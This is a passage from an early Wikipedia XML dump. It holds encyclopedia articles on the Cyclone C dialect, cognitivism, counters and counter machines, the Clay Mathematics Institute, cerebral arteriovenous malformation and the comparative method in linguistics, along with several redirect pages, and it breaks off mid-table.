Cyclone does regional analysis of each segment of code, preventing dangling pointers, such as the one returned from this version of &lt;code&gt;itoa&lt;/code&gt;. All of the local variables in a given scope are considered to be part of the same region, separate from the heap or any other local region. Thus, when analyzing &lt;code&gt;itoa&lt;/code&gt;, the compiler would see that &lt;code&gt;z&lt;/code&gt; is a pointer into the local stack, and would report an error.

===Manual memory management===
== Examples ==
The best example to start with is the classic [[Hello world]] program:

 #include &lt;stdio.h&gt;
 #include &lt;core.h&gt;
 using Core;
 int main(int argc, string_t ? args)
 {
    if (argc &lt;= 1) {
       printf(&quot;Usage: hello-cyclone &lt;name&gt;\n&quot;);
       return 1;
    } else {
       printf(&quot;Hello from Cyclone, %s\n&quot;, args[1]);
    }
    return 0;
 }

==References==
*[http://www.research.att.com/projects/cyclone/papers/cyclone-safety.pdf &quot;Cyclone: a safe dialect of C&quot;] by Trevor Jim, Greg Morrisett, Dan Grossman, Michael Hicks, James Cheney and Yanling Wang

== External links ==
*[http://www.eecs.harvard.edu/~greg/cyclone/ A Safe Dialect of C] or you can use the alternative from AT&amp;T's website [http://www.research.att.com/projects/cyclone/]

[[Category:C dialects]]
[[Category:C programming language family]]

[[de:Cyclone]]
[[pl:Cyclone]]</text>
    </revision>
  </page>
  <page>
    <title>Cognitivism</title>
    <id>7646</id>
    <revision>
      <id>41732023</id>
      <timestamp>2006-03-01T10:11:17Z</timestamp>
      <contributor>
        <username>Ixfd64</username>
        <id>6284</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/194.36.155.251|194.36.155.251]] ([[User talk:194.36.155.251|talk]]) to last version by Ranveig</comment>
      <text xml:space="preserve">The word '''cognitivism''' is used in several ways:
* In [[ethics]], cognitivism is the philosophical view that ethical sentences express propositions, and hence are capable of being true or false. See [[Cognitivism (ethics)]].  More generally, cognitivism with respect to any area of discourse is the position that sentences used in that discourse are cognitive, that is, are meaningful and capable of being true or false.
* In [[psychology]], cognitivism is the approach to understanding the mind which argues that mental function can be understood as the 'internal' rule bound manipulation of symbols. See  [[Cognitivism (psychology)]].
* [[Cognition]] - the study of the human mind
* See also 
** [[Computationalism]]
** [[Symbol grounding|Symbol Grounding Problem]]

{{disambig}}

[[fr:Cognitivisme]]
[[nn:kognitivisme]]</text>
    </revision>
  </page>
  <page>
    <title>Counter</title>
    <id>7647</id>
    <revision>
      <id>37687294</id>
      <timestamp>2006-02-01T15:51:23Z</timestamp>
      <contributor>
        <username>Chlewbot</username>
        <id>620581</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: nl</comment>
      <text xml:space="preserve">''This article is about the term counter used in electronics and computing. For other meanings of counter, see [[counter (disambiguation)]]''

In general, a '''counter''' is a device which stores (and sometimes displays) the number of times a particular [[event]] or [[process]] has occurred often in relationship to a [[clock signal]].  In practice, there are two types of counters:
*[[up counter]]s which increase ([[increment]]) in value
*[[down counter]]s which decrease ([[decrement]]) in value



== Counters in electronics ==

In [[electronics]], counters can be implemented quite easily using register-type circuits such as the [[Flip-flop (electronics)|flip-flop]], and a wide variety of designs exist, e.g:

* Asynchronous (ripple) counters
* Synchronous counters
* Johnson counters
* Decade counters

Each is useful for different applications. Usually, counter circuits are [[digital]] in nature, and count in [[binary code|binary]], or sometimes [[binary coded decimal]]. Many types of counter circuit are available as digital building blocks, for example a number of chips in the [[4000 series]] implement different counters.

The simplest counter circuit is a single [[Flip-flop_%28electronics%29#D_flip-flop|D-type flip flop]], with its D (data) input fed from its own inverted output. This circuit can store one bit, and hence can count from zero to one before it overflows. By cascading a series of D-type flip flops, a ripple counter is formed, which can count to 2&lt;sup&gt;n-1&lt;/sup&gt; where n is the number of bits (flip flop stages) in the counter. Ripple counters suffer from unstable outputs as the overflows &quot;ripple&quot; from stage to stage, but they do find frequent application as dividers for clock signals, where the instantaneous count is unimportant, but the division [[ratio]] overall is. (To clarify this, a 1-bit counter is exactly equivalent to a divide by two circuit - the output frequency is exactly half that of the input when fed with a regular train of clock pulses).

[[Image:4_bit_counter.png|thumb|400px|right|A 4-bit synchronous counter]]Where a stable count value is important across several bits, which is the case in most counter systems, synchronous counters are used. These also use flip-flops, either the D-type or the more complex J-K type, but here, each stage is clocked simultaneously by a common clock signal. [[Logic gate]]s between each stage of the circuit control data flow from stage to stage so that the desired count behaviour is realised. Synchronous counters can be designed to count up or down, or both according to a direction input, and may be presettable via a set of parallel &quot;jam&quot; inputs. Most types of hardware-based counter are of this type.

Decade counters are a kind of counter that counts in tens rather than having a binary representation. Each output will go high in turn, starting over after ten outputs have occurred. This type of circuit finds applications in [[multiplexer]]s and demultiplexers, or wherever a scanning type of behaviour is useful. Similar counters with different numbers of outputs are also common.

A Johnson counter is a special case of [[shift register]], where the output from the last stage is inverted and fed back as input to the first stage. A pattern of bits equal in length to the shift register thus circulates indefinitely. These counters are sometimes called &quot;walking ring&quot; counters, and find specialist applications, including those similar to the decade counter, digital to analogue conversion, etc.

''See also'': [[Frequency counter]]

== Counters in computer science ==

In [[Computability theory (computation) | computability theory]], a '''counter''' is considered a type of memory. A  counter stores a single [[natural number]] (initially [[0 (number)|zero]]) and can be [[bignum|arbitrarily-many digits long]].  A counter is usually considered in conjunction with a [[finite state machine]] (FSM), which can perform the following operations on the counter:
* Check whether the counter is zero
* Increment the counter by one
* Decrement the counter by one (if it's already zero, this leaves it unchanged).

==Power==
The following machines are listed in order of power, with each one being strictly more powerful than the one below it:
# Deterministic or Non-deterministic FSM plus two counters
# Non-deterministic FSM plus one [[Stack (computing)|stack]]
# Non-deterministic FSM plus one counter
# Deterministic FSM plus one counter
# Deterministic or Non-deterministic FSM 

For the first and last, it doesn't matter whether the FSM is deterministic or non-deterministic (see [[determinism]]).  They have equivalent power.  The first two and the last one are levels of the [[Chomsky hierarchy]].

The first machine, an FSM plus two counters, is equivalent in power to a [[Turing machine]].  This equivalence can be shown in three steps.  First, a Turing machine can be simulated by two stacks.  Then, a stack can be simulated by two counters.  Finally, four counters can be simulated by two counters.

===Step 1: A Turing machine can be simulated by two stacks.===
A Turing machine consists of an FSM and an infinite tape, initially filled with zeros, upon which the machine can write ones and zeros.  At any time, the read/write head of the machine points to one cell on the tape.  This tape can be conceptually cut in half at that point.  Each half of the tape can be treated as a [[Stack (computing)|stack]], where the top is the cell nearest the read/write head, and the bottom is some distance away from the head, with all zeros on the tape beyond the bottom.  Accordingly, a Turing machine can be simulated by an FSM plus two stacks.  Moving the head left or right is equivalent to popping a bit from one stack and pushing it onto the other.  Writing is equivalent to changing the bit before pushing it.

===Step 2: A stack can be simulated by two counters.===
A stack containing zeros and ones can be simulated by two counters, when the bits on the stack are thought of as representing a binary number, with the top being the least significant bit.  Pushing a zero onto the stack is equivalent to doubling the number.  Pushing a one is equivalent to doubling and adding 1.  Popping is equivalent to dividing by 2, where the [[remainder]] is the bit that was popped.  Two counters can simulate this stack, in which one of the counters holds a number whose binary representation represents the bits on the stack, and the other counter is used as a scratchpad.  To double the number in the first counter, the FSM can initialize the second counter to zero, then repeatedly decrement the first counter once and increment the second counter twice.  This continues until the first counter reaches zero. At that point, the second counter will hold the doubled number.  Halving is performed by decrementing one counter twice and increment the other once, and repeating until the first counter reaches zero.  The remainder can be determined by whether it reached zero after an even or an [[odd number]] of tries.

===Step 3: Four counters can be simulated by two counters.===
As before, one of the counters is used as scratchpad.  The other, real counter holds an [[integer]] whose [[prime number|prime]] [[factorization]] is 2&lt;sup&gt;''a''&lt;/sup&gt;3&lt;sup&gt;''b''&lt;/sup&gt;5&lt;sup&gt;''c''&lt;/sup&gt;7&lt;sup&gt;''d''&lt;/sup&gt;.  The exponents ''a'', ''b'', ''c'', and ''d'' can be thought of as four virtual counters that are being simulated.  If the real counter is set to zero then incremented once, that is equivalent to setting all the virtual counters to zero.  If the real counter is doubled, that is equivalent to incrementing ''a'', and if it's halved, that's equivalent to decrementing ''a''.  By a similar procedure, it can be multiplied or divided by 3, which is equivalent to incrementing or decrementing ''b''.  Similarly, ''c'' and ''d'' can be incremented or decremented.  To check if a virtual counter such as ''c'' is equal to zero, just divide the real counter by 5, see what the remainder is, then multiply by 5 and add back the remainder.  That leaves the real counter unchanged.  The remainder will have been nonzero if and only if ''c'' was zero.

As a result, an FSM with two counters can simulate four counters, which are in turn simulating two stacks, which are simulating a Turing machine.  Therefore, an FSM plus two counters is at least as powerful as a Turing machine.  A Turing machine can easily simulate an FSM with two counters, therefore the two machines have equivalent power.

=== See also ===
*[[Time to digital converter]]

[[Category:Digital electronics]]

[[da:Tæller (digital elektronik)]]
[[de:Zählwerk]]
[[es:Contador]]
[[he:מונה]]
[[nl:Teller (breuk)]]</text>
    </revision>
  </page>
  <page>
    <title>Calendar method</title>
    <id>7648</id>
    <revision>
      <id>22152141</id>
      <timestamp>2005-08-30T04:29:33Z</timestamp>
      <contributor>
        <username>Icarus3</username>
        <id>282222</id>
      </contributor>
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Fertility awareness]]</text>
    </revision>
  </page>
  <page>
    <title>Cervical mucus method</title>
    <id>7649</id>
    <revision>
      <id>41972844</id>
      <timestamp>2006-03-02T23:45:20Z</timestamp>
      <contributor>
        <username>Lyrl</username>
        <id>408908</id>
      </contributor>
      <text xml:space="preserve">''Cervical mucus method'' may refer to a specific school of [[fertility awareness]] or [[natural family planning]]:

*[[Billings ovulation method]]
*[[Creighton Model]]
*Two-Day Method

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Coleridge</title>
    <id>7651</id>
    <revision>
      <id>15905711</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Samuel Taylor Coleridge]]
</text>
    </revision>
  </page>
  <page>
    <title>Columbium</title>
    <id>7652</id>
    <revision>
      <id>15905712</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Niobium]]
</text>
    </revision>
  </page>
  <page>
    <title>Civil rights history</title>
    <id>7653</id>
    <revision>
      <id>15905713</id>
      <timestamp>2005-05-13T05:33:19Z</timestamp>
      <contributor>
        <username>Postdlf</username>
        <id>29695</id>
      </contributor>
      <comment>redirecting per vfd</comment>
      <text xml:space="preserve">#REDIRECT [[Civil rights]]</text>
    </revision>
  </page>
  <page>
    <title>Clay Mathematics Institute</title>
    <id>7655</id>
    <revision>
      <id>41469969</id>
      <timestamp>2006-02-27T15:46:07Z</timestamp>
      <contributor>
        <username>Predawn</username>
        <id>330338</id>
      </contributor>
      <text xml:space="preserve">The '''Clay Mathematics Institute''' ('''CMI''') is a private, non-profit foundation, based in [[Cambridge, Massachusetts]], and dedicated to increasing and disseminating [[mathematics|mathematical]] knowledge. It gives out various awards and sponsorships to promising mathematicians. The institute was founded in 1998 by businessman [[Landon T. Clay]], who financed it, and [[Harvard University|Harvard]] mathematician [[Arthur Jaffe]].

==The Millennium Prize problems==

The institute is best known for its establishment on [[May 24]], [[2000]] of the '''Millennium Prize problems'''.  These seven problems are considered by CMI to be &quot;important classic questions that have resisted solution over the years&quot;.  The first person to solve each problem will be awarded $1,000,000 by CMI - thus solving all the problems will amount to $7,000,000.  In announcing the prize, CMI drew a parallel to [[Hilbert's problems]], which were proposed in [[1900]], and had a substantial impact on [[20th century]] mathematics.  Of the initial twenty-three Hilbert problems, the only one which is still unsolved (or unproven) is The Riemann hypothesis, which was formulated in 1859 and is today one of the seven Millennium Prize Problems.

The seven Millennium Prize problems are:
* [[Complexity classes P and NP|P versus NP]]
* [[Hodge conjecture|The Hodge conjecture]]
* [[Poincaré conjecture|The Poincaré conjecture]]
* [[Riemann hypothesis|The Riemann hypothesis]]
* [[Yang-Mills existence and mass gap]]
* [[Navier-Stokes equations|Navier-Stokes existence and smoothness]]
* [[Birch and Swinnerton-Dyer conjecture|The Birch and Swinnerton-Dyer conjecture]]

=== P versus NP ===

The question is whether there are any problems for which a computer can verify a given solution quickly, but cannot find the solution quickly.  This is generally considered the most important open question in [[computation|theoretical computer science]].  See [[complexity classes P and NP]] for a more complete discussion.

=== The Hodge conjecture ===

The [[Hodge conjecture]] is that for [[projective space|projective]] [[algebraic variety|algebraic varieties]], [[Hodge cycle]]s are rational  [[linear combination]]s of [[algebraic cycle]]s.

=== The Poincaré conjecture ===

In [[topology]], a sphere with a two-dimensional surface is essentially characterized by the fact that it is [[simply connected]].  The [[Poincaré conjecture]] is that this is also true for spheres with three-dimensional surfaces.  The question has been solved for all dimensions above three.  Solving it for three is central to the problem of classifying 3-manifolds.  A solution to this conjecture has been proposed by [[Grigori Perelman]]; while still not formally published, there does appear to be a growing consensus that the argument is largely correct.

=== The Riemann hypothesis ===

The [[Riemann hypothesis]] is that all nontrivial zeros of the [[Riemann zeta function]] have a real part of 1/2.  A proof or disproof of this would have far-reaching implications in [[number theory]], especially for the distribution of [[prime number]]s.  This was [[Hilbert's eighth problem]], and is still considered an important open problem a century later. [[Louis de Branges de Bourcia]], a French mathematician, claims to have the proof for the problem, unfortunately this proof has not yet been seriously analyzed.

=== Yang-Mills existence and mass gap ===

In physics, [[quantum Yang-Mills theory]] describes particles with positive mass having classical waves traveling at the speed of light.  This is the [[mass gap]].  The problem is to establish the existence of the Yang-Mills theory and a mass gap.

=== Navier-Stokes existence and smoothness ===

The [[Navier-Stokes equations]] describe the movement of liquids and gases.  Although they were found in the 19th century, they still are not well understood. The problem is to make progress toward a mathematical theory that will give us insight into these equations.

=== The Birch and Swinnerton-Dyer conjecture ===

The [[Birch and Swinnerton-Dyer conjecture]] deals with a certain type of equation, those defining [[elliptic curve]]s over the [[rational number]]s. The conjecture is that there is a simple way to tell whether such equations have a finite or infinite number of rational solutions. [[Hilbert's tenth problem]] dealt with a more general type of equation, and in that case it was proven that there is no way to decide whether a given equation even has any solutions.

== Other activities ==

Besides the Millennium Prize Problems, the Clay Mathematics Institute also supports mathematics via the awarding of
research fellowships (which range from two to five years, and are aimed at younger mathematicians), as well as shorter-term
scholarships for programs, individual research, and book writing.  The Institute also has a yearly [[Clay Research Award]], recognizing major breakthroughs in mathematical research.  Finally, the Institute also organizes a number of summer schools, conferences, workshops, public lectures, and outreach activities aimed primarily at junior mathematicians (from the high school to postdoctoral level).

==Reference==
*Keith J. Devlin, ''The Millennium Problems: The Seven Greatest Unsolved Mathematical Puzzles of Our Time'', Basic Books (October, 2002), ISBN 0465017290.

==External links==

* [http://www.claymath.org The Clay Mathematics Institute]
* [http://www.claymath.org/prizeproblems The Millennium Prize Problems]
* [http://www.qeden.com/ Millennium Problems Wiki]

[[Category:Mathematical institutes]]
[[Category:Unsolved problems in mathematics]]


[[de:Millennium-Probleme]]
[[es:Clay Mathematics Institute]]
[[fr:Institut de mathématiques de Clay]]
[[ko:클레이 수학연구소]]
[[it:Premio Clay]]
[[ja:クレイ数学研究所]]
[[pt:Prémios Clay]]
[[zh:克雷數學研究所]]</text>
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    <title>Cronos</title>
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    <title>Centum</title>
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      <comment>merging</comment>
      <text xml:space="preserve">#REDIRECT[[Centum-Satem isogloss]]</text>
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  </page>
  <page>
    <title>Cerebral arteriovenous malformation</title>
    <id>7659</id>
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      <comment>clean up using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name        = Cerebral arteriovenous malformation |
  ICD10       = Q28.2 |
  ICD9        = {{ICD9|747.81}} |
}}
A '''cerebral arteriovenous malformation (AVM)''' is a [[congenital disorder]] of [[blood vessel]]s within the [[human brain|brain]], characterized by tangle(s) of [[vein]]s and [[artery|arteries]]. While an [[arteriovenous malformation]] can occur elsewhere in the body, this article discusses malformations found in the brain.

==Symptoms==
The most frequently observed problems related to the mechanical and blood loss ([[ischemia |ischemic]]) effects of an AVM are [[headache]] and [[seizure]]. Moreover, AVMs in certain critical locations may stop the circulation of the [[cerebrospinal fluid]], causing accumulation of the fluid within the skull and giving rise to a clinical condition called [[hydrocephalus]]. 

Symptoms of bleeding within the brain ([[intracranial hemorrhage]]) include loss of consciousness, sudden and severe headache, nausea, vomiting, [[incontinence]], and blurred vision.  A stiff neck can occur as the result of increased pressure within the skull and irritation of the meninges. Impairments caused by local brain tissue damage on the bleed site are possible, these can include seizure, [[hemiparesis]], a loss of touch sensation on one side of the body, or deficits in language processing ([[aphasia]]).  A variety of other symptoms can accompany this type of [[cerebrovascular accident]].

Generally, intense headache, perhaps coincident with seizure or loss of bodily consciousness, is the first indication of a cerebral AVM.  Estimates of the number of AVM-afflicted people in the United States range from 0.1% to 0.001% [http://www.nypneuro.org/healthinfo/stroke.html] [http://www.ninds.nih.gov/disorders/avms/avms.htm] of the population.

==Diagnosis==
An AVM diagnosis is established by [[neuroimaging]] studies.  A [[computed tomography]] scan of the head (head CT) is usually performed, this can reveal the site of the bleed.  More detailed pictures of the tangle of blood vessels that compose an AVM can be obtained by using radioactive reagents injected into the blood stream, then observing these reagents using a [[fluoroscope]] or [[Magnetic Resonance Imaging]] (MRI).  A spinal tap ([[lumbar puncture]]) can be used to examine spinal fluid for red blood cells; this condition is indicative of leakage of blood from the bleeding vessels into the [[subarachnoid space]].  The best images of an AVM are obtained through [[cerebral angiography]], which involves using a catheter, threaded though an artery, to deliver the reagent close to the site of the AVM.

==Pathophysiology==
While the cause of AVMs remains unknown, the main risk is [[intracranial hemorrhage]]. This risk is difficult to quantify.   Approximately 70% of cases with cerebral AVM are discovered through symptoms caused by sudden bleeding, bleeding due to the fragility of abnormally structured brain vessels.  However, some patients may remain asymptomatic or have minor complaints due to the local effects of the tangle of vessels. If a rupture or bleeding incident occurs, the blood may penetrate either into the brain tissue ([[cerebral hemorrhage]]) or into the [[subarachnoid space]].  This space is located between the sheaths ([[meninges]]) surrounding the brain ([[subarachnoid hemorrhage]]).

Once an AVM bleeds, the probability of rebleeding increases substantially.

AVMs that do not bleed may cause symptoms by either directly compressing the brain tissue or decreasing the blood flow to the neighbouring tissues and thus causing a lack of blood flow ([[ischemia]]). Both mechanical and ischemic factors cause a permanent and continuous loss of nerve cells ([[neuron]]s).

==Treatment==
The treatment in the case of sudden bleeding is focused on restoration of vital function.  Anticonvulsant medications such as [[phenytoin]] are often used to control seizure; medications or procedures may be employed to relieve intracranial pressure.  Eventually, curative treatment may be required to prevent recurrent hemorrhage.  

Surgical removal of the blood vessels involved ([[craniotomy]]) is the preferred curative treatment for most types of AVM.  While this surgery results in an immediate, complete removal of the AVM, risks exist.

Radiation treatment ([[radiosurgery]]) has been widely used on smaller AVMs with considerable success.  The Gamma Knife, developed by Swedish physician [[Lars Leksell]], is one apparatus used in radiosurgery to precisely apply a controlled radiation dosage to the volume of the brain occupied by the AVM. While this treatment is [[non-invasive]], two to three years may pass before the complete effects are known.  Complete [[occlusion]] of the AVM may or may not occur.

[[Embolization]], that is, occlusion of blood vessels via coils or screens introduced by a radiographically guided catheter, is frequently used as an adjunct to either surgery or radiation treatment.  However, embolization alone is rarely successful in completely blocking blood flow through the AVM.

==External links==
*[http://www.ninds.nih.gov/disorders/avms/avms.htm NINDS Arteriovenous Malformation Information Page]
*[http://www.ninds.nih.gov/disorders/avms/detail_avms.htm NINDS Arteriovenous Malformations Fact Sheet]
*[http://cpmcnet.columbia.edu/dept/cerebro/AVM.html Arterio Venous Malformations of the Brain and Spine]
* [http://www.nlm.nih.gov/medlineplus/ency/article/000779.htm Medline AVM Description]
*[http://www.irsa.org/index.html International RadioSurgery Association]

[[Category:Anatomical pathology]]
[[Category:Neurosurgery]]
[[Category:Congenital disorders]]

[[ja:脳動静脈奇形]]</text>
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  <page>
    <title>Comparative method</title>
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      <minor />
      <comment>/* 1. Assemble cognate lists */ even English... wow!</comment>
      <text xml:space="preserve">:''For the constant comparative method by [[Barney Glaser]] and [[Anselm Strauss]], see [[Grounded theory]].''

The '''comparative method''' (in [[linguistics]]) is a method used to detect genetic relationships between languages and to establish a consistent relationship hypothesis by reconstructing:

*the common ancestor of the languages in question,
*a plausible sequence of regular changes by which the historically known languages can be derived from that common ancestor.

The comparative method is the &quot;gold standard&quot; by which mainstream linguists judge whether two languages are related; relation is deemed certain only if a reconstruction of the common ancestor (or at least a partial reconstruction) is feasible.  Other approaches to the problem that have been proposed, such as [[Joseph Greenberg]]'s &quot;[[mass lexical comparison]]&quot; method, are still considered too unreliable by most linguists.

==Genetically Related languages==

In the present context, &quot;related&quot; has a specific meaning:  two languages are said to be [[genetic (linguistics)|genetic]]ally related if they are descended from the same ancestor language.  Thus, for example, [[Spanish language|Spanish]] and [[French language|French]] are both descended from [[Latin]].  &quot;Descent&quot;, in turn, is defined in terms of transmission across the generations: children learn a language from the parents' generation and are then influenced by their peers; they then transmit it to the next generation, and so on (how and why changes are introduced is a complicated, unresolved issue).  A continuous chain of speakers across the centuries links Vulgar Latin to all of its modern descendants.

This definition of relatedness implies that even if two languages are quite similar in their vocabularies, they are not necessarily closely related.  Modern [[Persian language|Persian]] in fact takes more of its words from [[Arabic language|Arabic]] than from its  direct ancestor, [[Indo-Iranian languages|Proto-Indo-Iranian]].  This is because of heavy [[borrowing]] over the years from Arabic into Persian.  But under the definition just given, Persian is considered to be descended from Proto-Indo-Iranian, and not from Arabic. 

The comparative method is a method for proving relatedness in the sense just given, as well as a method for reconstructing the proto-phonemes of a languages of a family and uncovering the phonological changes the languages of a family have undergone.

==How the comparative method works==
{{IPA notice}}
Although there is no concrete set of steps to be followed in the application of the comparative method, linguists generally agree on the basic steps, which are as follows:

===1. Assemble cognate lists===

Relationship between two (or more) languages can be suspected if they show a number of regular correspondences in lexicon, which means that there is a regularly recurring match between the phonetic structure of words with similar meanings. Thus, this step simply involves making lists of words which are likely cognates among the languages being compared. For example, looking at the [[Polynesian languages|Polynesian family]], we might come up with the following list (although in practice a real list would be much longer):

{| class=wikitable
! Gloss
! [[Tongan language|Tongan]]
! [[Samoan language|Samoan]]
! [[Rarotongan language|Rarotongan]]
! [[Hawaiian language|Hawaiian]]
! [[Maori language|Māori]]
|-
| &quot;one&quot;
| ''taha''
| ''tasi''
| ''{{IPA|taʔi}}''
| ''{{IPA|(ʔe-)kahi}}''
| ''tahi''
|-
| &quot;two&quot;
| ''ua''
| ''lua''
| ''rua''
| ''{{IPA|(ʔe-)lua}}''
| ''rua''
|-
| &quot;three&quot;
| ''tolu''
| ''tolu''
| ''toru''
| ''{{IPA|(ʔe-)kolu}}''
| ''toru''
|-
| &quot;four&quot;
| ''fā''
| ''fā''
| ''{{IPA|ʔā}}''
| ''{{IPA|(ʔe-)hā}}''
| ''{{IPA|ɸā}}''
|-
| &quot;five&quot;
| ''nima''
| ''lima''
| ''rima''
| ''{{IPA|(ʔe-)lima}}''
| ''rima''
|-
| &quot;man&quot;
| ''taŋata''
| ''taŋata''
| ''taŋata''
| ''kanaka''
| ''taŋata''
|-
| &quot;sea&quot;
| ''tahi''
| ''tai''
| ''tai''
| ''kai''
| ''tai''
|-
| &quot;forbidden&quot;
| ''tapu''
| ''tapu''
| ''tapu''
| ''kapu''
| ''tapu''
|-
| &quot;octopus&quot;
| ''feke''
| ''{{IPA|feʔe}}''
| ''{{IPA|ʔeke}}''
| ''{{IPA|heʔe}}''
| ''{{IPA|ɸeke}}''
|-
| &quot;canoe&quot;
| ''vaka''
| ''{{IPA|vaʔa}}''
| ''vaka''
| ''{{IPA|waʔa}}''
| ''waka''
|-
| &quot;enter&quot;
| ''hū''
| ''ulu''
| ''uru''
| —
| ''uru''
|}

However, caution needs to be exercised to avoid including borrowings or false cognates in the list, which could skew or obscure the correct data. This problem can usually be overcome by using basic vocabulary (such as kinship terms, numbers, body parts, pronouns, and other basic terms). Nonetheless, basic vocabulary can be borrowed ([[Finnish language|Finnish]], for example, borrowed the word for &quot;mother,&quot; ''äiti'', from [[Gothic language|Gothic]], while [[Pirahã language|Pirahã]], a [[Muran languages|Muran language]] of South America, borrowed all its pronouns from [[Língua Geral|Nhengatu]];  likewise, English borrowed the pronouns ''they'', ''them'', and ''their(s)'' from [[Old Norse language|Norse]]).

===2. Establish correspondence sets===

Once cognate lists are established, the next step is to determine the regular sound correspondences they exhibit. The notion of regular correspondence is very important here: mere phonetic similarity, as between English ''day'' and [[Latin language|Latin]] ''dies'' (both with the same meaning), has no probative value. English initial ''d-'' does '''not''' regularly match Latin ''d-'', and whatever sporadic matches can be observed are due either to chance (as in the above example) or to borrowing (e.g. Latin ''diabolus'' and English ''devil'', both ultimately of Greek origin). The [[Neogrammarian]]s ([[German language|German]] ''Junggrammatiker''), a group of radical young German linguists, mostly from the University of Leipzig, first emphasized this point in the late 1800s. Their motto, &quot;sound laws have no exceptions,&quot; has remained a fundamental idea in historical linguistics to this day.

For example, although the correspondence ''d-'' : ''d-'' (where the notation &quot;A : B&quot; means &quot;A corresponds to B&quot;) in English and Latin ''day'' and ''dies'' above is not regular, English and Latin '''do''' exhibit a very regular correspondence of ''t-'' : ''d-''. For example (in Latin, &lt;c&gt; represents /k/):

{| class=&quot;wikitable&quot;
! English
! Latin
|-
| ''ten''
| ''decem''
|-
| ''two''
| ''duo''
|-
| ''tow''
| ''duco''
|-
| ''tongue''
| ''dingua'' (Old Latin)
|-
| ''tooth''
| ''dent-''
|}

Since a really systematic correspondence can hardly be accidental, if we can rule out alternative possibilities like massive borrowing, the correspondence can be attributed to common descent. If there are many regular correspondence sets of this kind (the more the better), and if they add up to a sensible pattern (one that could have been produced by known types of sound change), and if some of the correspondences are non-trivial (''t : t'' is trivial but ''{{IPA|ŋ}} : b'' is not), then common origin becomes a virtual certainty.

===3. Discover which sets are in complementary distribution===

During the time the comparative method was being developed (late 18th to late 19th century), two major developments occurred which improved the method's effectiveness.

First, it was found that many sound changes are conditioned by a particular '''context'''.  Thus for example, in both Greek and Sanskrit, an aspirated stop evolved into an unaspirated one, but only if a second aspirate occurred later on in the same word; this is the so-called &quot;[[Grassmann's law]]&quot;, known to the ancient Indian grammarians and promulgated as a historical discovery by [[Hermann Grassmann]].

Second, it was found that sometimes sound changes occurred in ''contexts that were later lost''.  For instance, in Sanskrit [[velar]]s (''k''-like sounds) were replaced by [[palatal]]s (''ch''-like sounds) whenever the following vowel was ''*i'' or ''*e'' (the asterisk means that the sound is inferred rather than historically documented).  Subsequent to this change, all instances of ''*e'' were replaced by ''a'' (or, more accurately, earlier ''*e'', ''*o'', and ''*a'' merged as ''a'').  The situation would probably have been unreconstructable, had not the original distribution of ''e'' and ''a'' been recoverable from the evidence of other Indo-European languages.  Thus, for instance, Latin ''que'', &quot;and,&quot; preserves the original ''e'' vowel that caused the consonant shift in Sanskrit:

{| class=&quot;wikitable&quot;
| (1)
| ''*ke''
| Pre-Sanskrit &quot;and&quot;
|-
| (2)
| ''*ce''
| Velars replaced by palatals before ''*i'' and ''*e''
|-
| (3)
| ''ca''
| ''*e'' becomes ''a''
|}

''Ca'' is the attested Sanskrit form for &quot;and.&quot;  This finding was made independently by several scholars during the 1870's.

In the [[Dravidian languages]] of [[Telugu language|Telugu]], [[Tamil language|Tamil]] and [[Malayalam language|Malayalam]], velar [[plosive]]s in [[Proto-Dravidian language|Proto-Dravidian]] have been replaced by the corresponding palatal if the velar plosive is followed by {{IPA|/i/}}, {{IPA|/iː/}}, {{IPA|/e/}} or {{IPA|/eː/}}. However this change is absent in [[Kannada language|Kannada]] and few other languages in the family. For example, Proto-Dravidian ''*kedi'' becomes Tamil ''chedi'', but Kannada ''gida''.

[[Verner's Law]], discovered by [[Karl Verner]] in about 1875, is a similar case: the voicing of consonants in [[Germanic languages]] underwent a change that was determined by the position of the old Indo-European accent.  Following the change, the accent shifted across the board to initial position. Verner solved the puzzle by comparing the Germanic voicing pattern with data from Greek and Sanskrit accent. For full discussion, see [[Verner's Law]].

This stage of the comparative method, therefore, involves examining the correspondence sets discovered in step 2 and seeing which of them apply only in certain contexts. If two (or more) sets involve identical or similar sounds, and apply in [[complementary distribution]], then the sets can be assumed to reflect a single original phoneme. This is because &quot;some sound changes, particularly conditioned sound changes, can result in a proto-sound being associated with more than one correspondence set&quot; (Campbell 2004:136).

To take another example, when we examine the [[Romance languages]], descended from Latin, we find two different correspondence sets which both involve ''k'':

{| class=&quot;wikitable&quot;
!
! [[Italian language|Italian]]
! [[Spanish language|Spanish]]
! [[Portuguese language|Portuguese]]
! [[French language|French]]
|-
| (1)
| ''k''
| ''k''
| ''k''
| ''k''
|-
| (2)
| ''k''
| ''k''
| ''k''
| ''{{IPA|ʃ}}''
|}

What we do in this situation is try to see if the two sets occur in complementary distribution (in which case they reflect a single proto-phoneme) or if both occur in identical environments (in which case they must both reflect separate proto-phonemes). In this case, we discover that French ''{{IPA|ʃ}}'' only occurs before ''a'' in the other languages (which becomes ''{{IPA|ɛ}}'' in French), while French ''k'' occurs elsewhere. Both sets (1) and (2) can therefore be assumed to reflect a single proto-phoneme (in this case ''*k'', spelled &lt;c&gt;).

A more complex case involves consonant clusters in [[Proto-Algonquian language|Proto-Algonquian]], which have been notoriously difficult to reconstruct. The Algonquianist [[Leonard Bloomfield]], however, looked at the reflexes of the clusters in four of the daughter languages of Proto-Algonquian, and came up with the following correspondence sets (although the clusters are shown here ending in ''-k'', this also generally applies to clusters ending in any of the plosives; &lt;š&gt; and &lt;č&gt; are [[Americanist phonetic notation|Americanist]] symbols for {{IPA|/ʃ/}} and {{IPA|/ʧ/}}):

{| class=&quot;wikitable&quot;
!
! [[Ojibwe language|Ojibwe]]
! [[Fox language|Meskwaki]]
! [[Cree language|Plains Cree]]
! [[Menominee language|Menomini]]
|-
| (1)
| ''kk''
| ''hk''
| ''hk''
| ''hk''
|-
| (2)
| ''kk''
| ''hk''
| ''sk''
| ''hk''
|-
| (3)
